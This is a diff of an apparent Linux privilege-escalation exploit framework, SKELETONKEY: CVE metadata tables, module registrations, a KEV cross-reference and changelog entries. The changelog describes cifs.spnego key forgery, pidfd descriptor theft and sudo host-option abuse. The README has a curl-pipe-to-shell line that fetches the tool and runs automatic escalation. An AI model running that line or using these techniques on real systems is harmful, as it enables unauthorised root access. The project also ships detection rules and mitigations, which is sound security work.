.kev_date_added = "2021-12-10",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2019-14287",
|
||||
.cwe = "CWE-755",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2020-14386",
|
||||
.cwe = "CWE-250",
|
||||
@@ -44,6 +60,14 @@ const struct cve_metadata cve_metadata_table[] = {
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2020-29661",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-22555",
|
||||
.cwe = "CWE-787",
|
||||
@@ -97,8 +121,8 @@ const struct cve_metadata cve_metadata_table[] = {
|
||||
.cwe = "CWE-287",
|
||||
.attack_technique = "T1611",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2026-06-02",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-0847",
|
||||
@@ -196,6 +220,46 @@ const struct cve_metadata cve_metadata_table[] = {
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2024-05-30",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2024-26581",
|
||||
.cwe = NULL,
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2024-50264",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2025-32462",
|
||||
.cwe = "CWE-863",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2025-32463",
|
||||
.cwe = "CWE-829",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2025-09-29",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2025-6019",
|
||||
.cwe = "CWE-250",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-31635",
|
||||
.cwe = "CWE-130",
|
||||
@@ -213,13 +277,37 @@ const struct cve_metadata cve_metadata_table[] = {
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-46300",
|
||||
.cve = "CVE-2026-43494",
|
||||
.cwe = NULL,
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-46243",
|
||||
.cwe = "CWE-20",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-46300",
|
||||
.cwe = "CWE-787",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-46333",
|
||||
.cwe = "CWE-269",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
};
|
||||
|
||||
const size_t cve_metadata_table_len =
|
||||
|
||||
@@ -55,6 +55,9 @@ void skeletonkey_register_sudo_runas_neg1(void);
|
||||
void skeletonkey_register_tioscpgrp(void);
|
||||
void skeletonkey_register_vsock_uaf(void);
|
||||
void skeletonkey_register_nft_pipapo(void);
|
||||
void skeletonkey_register_ptrace_pidfd(void);
|
||||
void skeletonkey_register_sudo_host(void);
|
||||
void skeletonkey_register_cifswitch(void);
|
||||
|
||||
/* Call every skeletonkey_register_<family>() above in canonical order.
|
||||
* Single source of truth so the main binary and the test binary stay
|
||||
|
||||
@@ -51,4 +51,7 @@ void skeletonkey_register_all_modules(void)
|
||||
skeletonkey_register_tioscpgrp();
|
||||
skeletonkey_register_vsock_uaf();
|
||||
skeletonkey_register_nft_pipapo();
|
||||
skeletonkey_register_ptrace_pidfd();
|
||||
skeletonkey_register_sudo_host();
|
||||
skeletonkey_register_cifswitch();
|
||||
}
|
||||
|
||||
@@ -82,8 +82,8 @@ const struct verification_record verifications[] = {
|
||||
.host_kernel = "6.19.7-061907-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "OK",
|
||||
.actual_detect = "OK",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
|
||||
+102
-3
@@ -17,6 +17,15 @@
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2018-14634",
|
||||
"module_dir": "mutagen_astronomy_cve_2018_14634",
|
||||
"cwe": "CWE-190",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2026-01-26"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2019-13272",
|
||||
"module_dir": "ptrace_traceme_cve_2019_13272",
|
||||
@@ -26,6 +35,15 @@
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2021-12-10"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2019-14287",
|
||||
"module_dir": "sudo_runas_neg1_cve_2019_14287",
|
||||
"cwe": "CWE-755",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2020-14386",
|
||||
"module_dir": "af_packet2_cve_2020_14386",
|
||||
@@ -35,6 +53,15 @@
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2020-29661",
|
||||
"module_dir": "tioscpgrp_cve_2020_29661",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-22555",
|
||||
"module_dir": "netfilter_xtcompat_cve_2021_22555",
|
||||
@@ -95,8 +122,8 @@
|
||||
"cwe": "CWE-287",
|
||||
"attack_technique": "T1611",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2026-06-02"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-0847",
|
||||
@@ -206,6 +233,51 @@
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2024-05-30"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2024-26581",
|
||||
"module_dir": "nft_pipapo_cve_2024_26581",
|
||||
"cwe": null,
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2024-50264",
|
||||
"module_dir": "vsock_uaf_cve_2024_50264",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2025-32462",
|
||||
"module_dir": "sudo_host_cve_2025_32462",
|
||||
"cwe": "CWE-863",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2025-32463",
|
||||
"module_dir": "sudo_chwoot_cve_2025_32463",
|
||||
"cwe": "CWE-829",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2025-09-29"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2025-6019",
|
||||
"module_dir": "udisks_libblockdev_cve_2025_6019",
|
||||
"cwe": "CWE-250",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-31635",
|
||||
"module_dir": "dirtydecrypt_cve_2026_31635",
|
||||
@@ -224,10 +296,37 @@
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-43494",
|
||||
"module_dir": "pintheft_cve_2026_43494",
|
||||
"cwe": null,
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-46243",
|
||||
"module_dir": "cifswitch_cve_2026_46243",
|
||||
"cwe": "CWE-20",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-46300",
|
||||
"module_dir": "fragnesia_cve_2026_46300",
|
||||
"cwe": null,
|
||||
"cwe": "CWE-787",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-46333",
|
||||
"module_dir": "ptrace_pidfd_cve_2026_46333",
|
||||
"cwe": "CWE-269",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
|
||||
+14
-3
@@ -4,7 +4,7 @@ Which SKELETONKEY modules cover CVEs that CISA has observed exploited
|
||||
in the wild per the Known Exploited Vulnerabilities catalog.
|
||||
Refreshed via `tools/refresh-cve-metadata.py`.
|
||||
|
||||
**10 of 26 modules cover KEV-listed CVEs.**
|
||||
**13 of 37 modules cover KEV-listed CVEs.**
|
||||
|
||||
## In KEV (prioritize patching)
|
||||
|
||||
@@ -19,7 +19,10 @@ Refreshed via `tools/refresh-cve-metadata.py`.
|
||||
| CVE-2024-1086 | 2024-05-30 | CWE-416 | `nf_tables_cve_2024_1086` |
|
||||
| CVE-2022-0185 | 2024-08-21 | CWE-190 | `fuse_legacy_cve_2022_0185` |
|
||||
| CVE-2023-0386 | 2025-06-17 | CWE-282 | `overlayfs_setuid_cve_2023_0386` |
|
||||
| CVE-2025-32463 | 2025-09-29 | CWE-829 | `sudo_chwoot_cve_2025_32463` |
|
||||
| CVE-2021-22555 | 2025-10-06 | CWE-787 | `netfilter_xtcompat_cve_2021_22555` |
|
||||
| CVE-2018-14634 | 2026-01-26 | CWE-190 | `mutagen_astronomy_cve_2018_14634` |
|
||||
| CVE-2022-0492 | 2026-06-02 | CWE-287 | `cgroup_release_agent_cve_2022_0492` |
|
||||
|
||||
## Not in KEV
|
||||
|
||||
@@ -30,9 +33,10 @@ and are technically reachable. "Not in KEV" is not the same as
|
||||
| CVE | CWE | Module |
|
||||
| --- | --- | --- |
|
||||
| CVE-2017-7308 | CWE-681 | `af_packet_cve_2017_7308` |
|
||||
| CVE-2019-14287 | CWE-755 | `sudo_runas_neg1_cve_2019_14287` |
|
||||
| CVE-2020-14386 | CWE-250 | `af_packet2_cve_2020_14386` |
|
||||
| CVE-2020-29661 | CWE-416 | `tioscpgrp_cve_2020_29661` |
|
||||
| CVE-2021-33909 | CWE-190 | `sequoia_cve_2021_33909` |
|
||||
| CVE-2022-0492 | CWE-287 | `cgroup_release_agent_cve_2022_0492` |
|
||||
| CVE-2022-25636 | CWE-269 | `nft_fwd_dup_cve_2022_25636` |
|
||||
| CVE-2022-2588 | CWE-416 | `cls_route4_cve_2022_2588` |
|
||||
| CVE-2023-0179 | CWE-190 | `nft_payload_cve_2023_0179` |
|
||||
@@ -42,6 +46,13 @@ and are technically reachable. "Not in KEV" is not the same as
|
||||
| CVE-2023-32233 | CWE-416 | `nft_set_uaf_cve_2023_32233` |
|
||||
| CVE-2023-3269 | CWE-416 | `stackrot_cve_2023_3269` |
|
||||
| CVE-2023-4622 | CWE-416 | `af_unix_gc_cve_2023_4622` |
|
||||
| CVE-2024-26581 | ? | `nft_pipapo_cve_2024_26581` |
|
||||
| CVE-2024-50264 | CWE-416 | `vsock_uaf_cve_2024_50264` |
|
||||
| CVE-2025-32462 | CWE-863 | `sudo_host_cve_2025_32462` |
|
||||
| CVE-2025-6019 | CWE-250 | `udisks_libblockdev_cve_2025_6019` |
|
||||
| CVE-2026-31635 | CWE-130 | `dirtydecrypt_cve_2026_31635` |
|
||||
| CVE-2026-41651 | CWE-367 | `pack2theroot_cve_2026_41651` |
|
||||
| CVE-2026-46300 | ? | `fragnesia_cve_2026_46300` |
|
||||
| CVE-2026-43494 | ? | `pintheft_cve_2026_43494` |
|
||||
| CVE-2026-46243 | CWE-20 | `cifswitch_cve_2026_46243` |
|
||||
| CVE-2026-46300 | CWE-787 | `fragnesia_cve_2026_46300` |
|
||||
| CVE-2026-46333 | CWE-269 | `ptrace_pidfd_cve_2026_46333` |
|
||||
|
||||
@@ -26,6 +26,7 @@ haven't been maintained in years.
|
||||
|
||||
```bash
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||
&& export PATH="$HOME/.local/bin:$PATH" \
|
||||
&& skeletonkey --auto --i-know
|
||||
```
|
||||
|
||||
|
||||
@@ -1,3 +1,279 @@
|
||||
## SKELETONKEY v0.9.10 — new LPE module: cifswitch (CVE-2026-46243)
|
||||
|
||||
Adds **`cifswitch` — CVE-2026-46243 "CIFSwitch"** (Asim Manizada,
|
||||
2026-05-28), taking the corpus to **42 modules / 37 CVEs**. The newest
|
||||
kernel-7-era LPE not already covered: a ~19-year-old logic flaw in
|
||||
`fs/smb/client/cifs_spnego.c` where the `cifs.spnego` request-key type
|
||||
accepts key descriptions created by *userspace* (`add_key(2)` /
|
||||
`request_key(2)`) without verifying the request came from the in-kernel
|
||||
CIFS client. The description carries authority-bearing fields
|
||||
(`pid`/`uid`/`creduid`/`upcall_target`) that the root `cifs.upcall`
|
||||
helper trusts as kernel-originating; combined with user+mount namespace
|
||||
tricks, an unprivileged user coerces `cifs.upcall` into loading an
|
||||
attacker NSS module as root. Fixed upstream by `3da1fdf4efbc` (merged
|
||||
7.1-rc5); NVD class CWE-20; not in CISA KEV.
|
||||
|
||||
🟡 **Honest port — full chain not VM-verified.** `detect()` gates on the
|
||||
kernel version (Debian backports 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10)
|
||||
**and** on the presence of the vulnerable userspace path — a vulnerable
|
||||
kernel without `cifs-utils` reports `PRECOND_FAIL`, not a false
|
||||
`VULNERABLE` (override the probe with `SKELETONKEY_CIFS_ASSUME_PRESENT=1`
|
||||
/`0`). `exploit()` fires only the non-destructive primitive — `add_key(2)`
|
||||
of a forged-but-benign `cifs.spnego` key, which does **not** invoke
|
||||
`cifs.upcall` and loads nothing, revoked immediately — and treats a clean
|
||||
accept as the empirical witness that userspace can forge the
|
||||
authority-bearing key type. It then stops: the namespace-switch +
|
||||
malicious-NSS-load root-pop is target/config-specific and is not bundled
|
||||
until VM-verified, so it returns honest `EXPLOIT_FAIL` without a euid-0
|
||||
witness (never fabricates root). `--mitigate` blocklists the `cifs`
|
||||
module (`/etc/modprobe.d/skeletonkey-disable-cifs.conf`); `--cleanup`
|
||||
reverts. Structural, arch-agnostic (keyring + namespace logic, no
|
||||
shellcode). Ships auditd + sigma + falco rules, MITRE ATT&CK T1068 +
|
||||
CWE-20 metadata, six new `detect()` unit-test rows, and credits Asim
|
||||
Manizada in `NOTICE.md`. Not yet VM-verified (sweep pending in
|
||||
`tools/verify-vm/targets.yaml`), so the verified count stays 28 of 37.
|
||||
|
||||
## SKELETONKEY v0.9.9 — install.sh needs no root; CVE-2022-0492 KEV drift
|
||||
|
||||
Two maintenance fixes, no new modules.
|
||||
|
||||
**`install.sh` never escalates to sudo.** SKELETONKEY is a privilege-
|
||||
escalation tool — the operator by definition does *not* have root yet, so
|
||||
the installer must not demand it. The old default wrote to `/usr/local/bin`
|
||||
and fell back to `sudo mv` when that wasn't writable, prompting for a
|
||||
password on exactly the unprivileged accounts this tool targets. It now
|
||||
installs sudo-free: `/usr/local/bin` is used only when already writable,
|
||||
otherwise it falls back to a per-user `$HOME/.local/bin` (honoring
|
||||
`XDG_BIN_HOME`), created as needed. An explicit `SKELETONKEY_PREFIX` is
|
||||
honored exactly and errors rather than escalating if unwritable. When the
|
||||
chosen dir isn't on `$PATH` the installer prints the absolute path, and the
|
||||
documented `curl … | sh && skeletonkey --auto --i-know` one-liner now
|
||||
prepends `$HOME/.local/bin` to `$PATH` so it resolves on a fresh login. The
|
||||
quickstart no longer prefixes `sudo` to `--scan`/`--audit`/`--auto` —
|
||||
detection and escalation run as the unprivileged user; only writing audit
|
||||
rules into `/etc/audit` legitimately needs root.
|
||||
|
||||
**Federal metadata drift (the failing scheduled build).** The weekly
|
||||
`drift-check` caught two upstream changes since v0.9.8:
|
||||
|
||||
- **CVE-2022-0492 entered CISA KEV (2026-06-02).** The cgroup v1
|
||||
`release_agent` container-escape (`cgroup_release_agent`) is now on the
|
||||
Known Exploited Vulnerabilities catalog. The corpus reports **13 of 36**
|
||||
modules covering KEV-listed CVEs (was 12).
|
||||
- **CVE-2026-46333 gained a CWE.** When `ptrace_pidfd` was added two weeks
|
||||
after disclosure, NVD had not yet classified it; it is now **CWE-269**
|
||||
(Improper Privilege Management).
|
||||
|
||||
A third, latent cause kept the gate red even after those two: when
|
||||
`sudo_host` (CVE-2025-32462) was added in v0.9.8 its record was appended to
|
||||
the *end* of `CVE_METADATA.json`, but the drift check compares the record
|
||||
list in `discover_cves()`'s sorted order — so the out-of-order entry read
|
||||
as drift regardless of its values. Regenerating via the script restores
|
||||
sorted order.
|
||||
|
||||
Refreshed `CVE_METADATA.json`, the generated `cve_metadata.c` table, and
|
||||
`KEV_CROSSREF.md` accordingly (README + website counts updated).
|
||||
|
||||
## SKELETONKEY v0.9.8 — two new LPE modules (ptrace_pidfd, sudo_host)
|
||||
|
||||
Adds the two most compelling recent Linux LPEs not already in the corpus,
|
||||
taking it to **41 modules / 36 CVEs** (every year 2016 → 2026 still
|
||||
covered).
|
||||
|
||||
**`ptrace_pidfd` — CVE-2026-46333** (Qualys TRU, 2026-05-20). A logic
|
||||
flaw in the kernel's `__ptrace_may_access()` path leaves a process that
|
||||
is *dropping* its credentials briefly reachable past its `dumpable`
|
||||
boundary; `pidfd_getfd(2)` rides that window to steal a root-opened file
|
||||
descriptor or authenticated channel from a transiently-privileged setuid
|
||||
binary (chage / pkexec / ssh-keysign) or root daemon. Default-distro, no
|
||||
userns, architecture-agnostic (descriptor theft, no shellcode). detect()
|
||||
is version-pinned (predates-gate at pidfd_getfd's 5.6 introduction;
|
||||
Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7). `--mitigate`
|
||||
sets `kernel.yama.ptrace_scope=2`.
|
||||
|
||||
**`sudo_host` — CVE-2025-32462** (Rich Mirch / Stratascale, 2025-06-30;
|
||||
sibling of v0.8.0's `sudo_chwoot`). sudo's `-h`/`--host` option, meant
|
||||
only to pair with `-l`, was honored when running a command — so a
|
||||
sudoers rule scoped to a host other than the current machine (and not
|
||||
ALL) is usable via `sudo -h <host> <cmd>` for local root. Affects sudo
|
||||
1.8.8 → 1.9.17p0 (fixed 1.9.17p1); CWE-863, CVSS 8.8. Most relevant to
|
||||
fleet-wide / LDAP / SSSD sudoers.
|
||||
|
||||
Both are honest ports: detect() is version-pinned and unit-tested (10 new
|
||||
detect() rows, all green in CI), and exploit() fires the real primitive
|
||||
and returns `EXPLOIT_FAIL` unless it can witness euid 0 — never
|
||||
fabricating root. Neither is VM-verified yet (both flagged "sweep
|
||||
pending" in `tools/verify-vm/targets.yaml`), so the verified count stays
|
||||
28 of 36. Each ships auditd + sigma + falco rules, MITRE ATT&CK + CWE
|
||||
metadata, and credits the original researcher in its `NOTICE.md`.
|
||||
|
||||
## SKELETONKEY v0.9.7 — kernel_range drift fix + CI Node 24 readiness
|
||||
|
||||
Two maintenance fixes, no new modules.
|
||||
|
||||
**`fragnesia` kernel_range drift.** Debian backported CVE-2026-46300 to
|
||||
the 5.10 oldstable branch (bullseye 5.10.257), a branch the module's
|
||||
`kernel_patched_from` table didn't model — on a patched bullseye host
|
||||
`detect()` would have false-positived VULNERABLE. Added the `{5,10,257}`
|
||||
entry; the weekly `refresh-kernel-ranges.py` drift gate is green again.
|
||||
(The other flagged modules are INFO-only "more permissive" thresholds
|
||||
the check tolerates by design.)
|
||||
|
||||
**CI Node 24 readiness.** GitHub forces the Node 24 Actions runtime on
|
||||
2026-06-16 and removes Node 20. Bumped every workflow action off its
|
||||
Node-20 line:
|
||||
|
||||
- `actions/checkout` v4 → v6
|
||||
- `actions/upload-artifact` v4 → v7
|
||||
- `actions/download-artifact` v4 → v8
|
||||
- `softprops/action-gh-release` v2 → v3
|
||||
|
||||
Each was reviewed against its changelog: the artifact flow uploads
|
||||
default-zipped, uniquely-named artifacts and downloads the full set, so
|
||||
none of the major-version breaking changes (opt-in direct uploads,
|
||||
download-by-ID path changes) apply. This release is itself the
|
||||
end-to-end test of the new artifact actions.
|
||||
|
||||
## SKELETONKEY v0.9.6 — `--auto` no longer prompts for sudo password
|
||||
|
||||
Two sudo modules' `detect()` bodies invoked `sudo -ln` to read the
|
||||
user's allowed-commands list. The intent was non-interactive — `-ln`
|
||||
should parse as `-l -n` (list + non-interactive). But some sudoers /
|
||||
PAM configurations have been observed prompting for a password
|
||||
anyway when the flags are bundled, defeating the point.
|
||||
|
||||
That meant `skeletonkey --auto --i-know` could hang on a sudo
|
||||
password prompt during the corpus scan, even though the whole point
|
||||
of an LPE tool is to *get* root without already having it.
|
||||
|
||||
Fix in `sudo_runas_neg1` and `sudoedit_editor`:
|
||||
|
||||
- `-n -l` written as separate flags (instead of bundled `-ln`)
|
||||
- `</dev/null` redirect so sudo cannot fall back to reading the tty
|
||||
even if the PAM stack tries
|
||||
|
||||
Belt-and-suspenders. `--auto` is now guaranteed never to block on
|
||||
tty input.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.9.5 — kernel_range drift cleanup (the other half)
|
||||
|
||||
v0.9.4 fixed the `cve_metadata` drift but exposed a *second* drift
|
||||
check (`kernel_range drift`) that had been hidden behind it. That
|
||||
check compares each module's `kernel_patched_from` table against
|
||||
Debian's security tracker. It had **11 TOO_TIGHT + 8 MISSING
|
||||
findings across 12 modules** — meaning `detect()` would have
|
||||
reported VULNERABLE on many kernels that Debian has on record as
|
||||
patched (false-positives), or missed branches entirely.
|
||||
|
||||
Applied `tools/refresh-kernel-ranges.py --patch` recommendations
|
||||
across:
|
||||
|
||||
- `cgroup_release_agent` — `{5,16,9}` → `{5,16,7}`
|
||||
- `cls_route4` — `{5,10,143}` → `{5,10,136}`, `{5,18,18}` → `{5,18,16}`
|
||||
- `dirty_cow` — `{4,7,10}` → `{4,7,8}`
|
||||
- `dirty_pipe` — `{5,10,102}` → `{5,10,92}`
|
||||
- `fragnesia` — `{6,12,91}` → `{6,12,90}`, `{7,0,10}` → `{7,0,9}`
|
||||
(the 7.0.10 entry I added in v0.9.4 was an NVD-vs-Debian off-by-one)
|
||||
- `mutagen_astronomy` — added `{4,12,6}` backport entry
|
||||
- `netfilter_xtcompat` — `{5,10,46}` → `{5,10,38}`
|
||||
- `overlayfs_setuid` — `{6,1,27}` → `{6,1,11}`
|
||||
- `pintheft` — added `{6,12,90}` Debian-trixie entry
|
||||
- `ptrace_traceme` — `{4,19,58}` → `{4,19,37}`
|
||||
- `sequoia` — `{5,10,52}` → `{5,10,46}`
|
||||
- `tioscpgrp` — added `{5,9,15}` backport entry
|
||||
|
||||
All changes are correctness-improving (no kernel that was previously
|
||||
flagged VULNERABLE-and-actually-vulnerable is now flagged OK; we just
|
||||
stop false-positiving on kernels that Debian has on record as patched).
|
||||
|
||||
Build's `kernel_range drift` step now exits 0 with 0 TOO_TIGHT and 0
|
||||
MISSING.
|
||||
|
||||
Also enabled `workflow_dispatch` on the build workflow so the
|
||||
drift-check job can be manually triggered without waiting for the
|
||||
weekly Monday-06:00-UTC cron.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.9.4 — drift unblock, fragnesia range fix, infra docs
|
||||
|
||||
Quality-of-life follow-ups from the v0.9.3 review:
|
||||
|
||||
**Nightly CI drift-check unblocked.** v0.9.3's hand-applied
|
||||
`core/cve_metadata.c` entries weren't reflected in
|
||||
`docs/CVE_METADATA.json`, so the scheduled `build` workflow had
|
||||
been red since 2026-05-25 even though push-triggered runs passed.
|
||||
Regenerated both via the canonical script. Pintheft's CWE landed
|
||||
as CWE-787 (NVD-derived) — previously NULL.
|
||||
|
||||
**fragnesia module range table corrected.** Same audit pattern that
|
||||
found the dirtydecrypt bug in v0.9.3. NVD CVE-2026-46300 confirms
|
||||
the SKBFL_SHARED_FRAG marker was introduced at 5.11 and the bug
|
||||
spans every stable branch since. Previous range table had one entry
|
||||
(`{7, 0, 9}`) — off-by-one against NVD's 7.0.10 fix point and
|
||||
missing every other backport. Now models 6 backports + predates-5.11
|
||||
introduction gate:
|
||||
|
||||
```c
|
||||
{5, 15, 208}, /* 5.15-LTS */
|
||||
{6, 1, 174}, /* 6.1-LTS */
|
||||
{6, 6, 141}, /* 6.6-LTS */
|
||||
{6, 12, 91}, /* 6.12-LTS */
|
||||
{6, 18, 33}, /* 6.18-LTS */
|
||||
{7, 0, 10}, /* 7.0 */
|
||||
```
|
||||
|
||||
Test row added for the predates path (kernel 4.4 → OK).
|
||||
|
||||
**`tools/verify-vm/README.md` brought current.** The README was
|
||||
written for the v0.6-era apt-pin-only workflow. Now documents the
|
||||
v0.9.x infrastructure: mainline kernel pinning via
|
||||
kernel.ubuntu.com, per-module provisioners
|
||||
(`provisioners/<module>.sh`), two-phase prep→reboot→verify with
|
||||
post-reboot kernel confirmation, GRUB_DEFAULT pinning in both apt
|
||||
and mainline blocks.
|
||||
|
||||
**NVD lookups in `refresh-cve-metadata.py` get a curl fallback.**
|
||||
v0.9.3 ran into Python's `urlopen` silently hanging on NVD's HTTP/2
|
||||
endpoint (55-min process with the 30s timeout never firing — kernel
|
||||
CLOSE_WAIT socket). The CISA path already had a curl fallback; the
|
||||
NVD path now mirrors it. Future runs degrade gracefully when
|
||||
urlopen wedges.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.9.3 — CVE metadata refresh + dirtydecrypt range fix
|
||||
|
||||
**CVE metadata refresh (10 → 12 KEV).** Populated the 8 missing
|
||||
entries in `core/cve_metadata.c` for v0.8.0 + v0.9.0 module additions.
|
||||
Two of them are CISA-KEV-listed:
|
||||
|
||||
- **CVE-2018-14634** `mutagen_astronomy` — KEV-listed 2026-01-26 (CWE-190)
|
||||
- **CVE-2025-32463** `sudo_chwoot` — KEV-listed 2025-09-29 (CWE-829)
|
||||
|
||||
Other 6 entries got CWE / ATT&CK technique metadata so `--explain` and
|
||||
`--module-info` now surface WEAKNESS + THREAT INTEL correctly for them.
|
||||
(`tools/refresh-cve-metadata.py` hangs on CISA's HTTP/2 endpoint via
|
||||
Python urlopen — populated directly via curl + max-time as a workaround.)
|
||||
|
||||
**dirtydecrypt module bug fix.** Auditing dirtydecrypt's range table
|
||||
against NVD's authoritative CPE match for CVE-2026-31635 surfaced that
|
||||
`dd_detect()` was wrongly gating "predates the bug" on kernel < 7.0.
|
||||
Per NVD, the rxgk RESPONSE bug entered at 6.16.1 stable; vulnerable
|
||||
ranges are 6.16.1–6.18.22, 6.19.0–6.19.12, and 7.0-rc1..rc7. The fix:
|
||||
|
||||
- `dd_detect()` predates-gate now uses 6.16.1 (not 7.0)
|
||||
- `patched_branches[]` table adds `{6, 18, 23}` for the 6.18 backport
|
||||
|
||||
Re-verified empirically: dirtydecrypt now correctly returns VULNERABLE
|
||||
on mainline 6.19.7 (genuinely below the 6.19.13 backport). Previously
|
||||
it returned OK there — a false negative that would have lied to anyone
|
||||
running scan on a real vulnerable kernel.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.9.2 — dirtydecrypt verified on mainline 6.19.7
|
||||
|
||||
One more empirical verification: **CVE-2026-31635 dirtydecrypt** confirmed
|
||||
|
||||
@@ -33,4 +33,4 @@
|
||||
{"module":"nft_pipapo","verified_at":"2026-05-24T03:27:10Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sudo_runas_neg1","verified_at":"2026-05-24T03:29:18Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
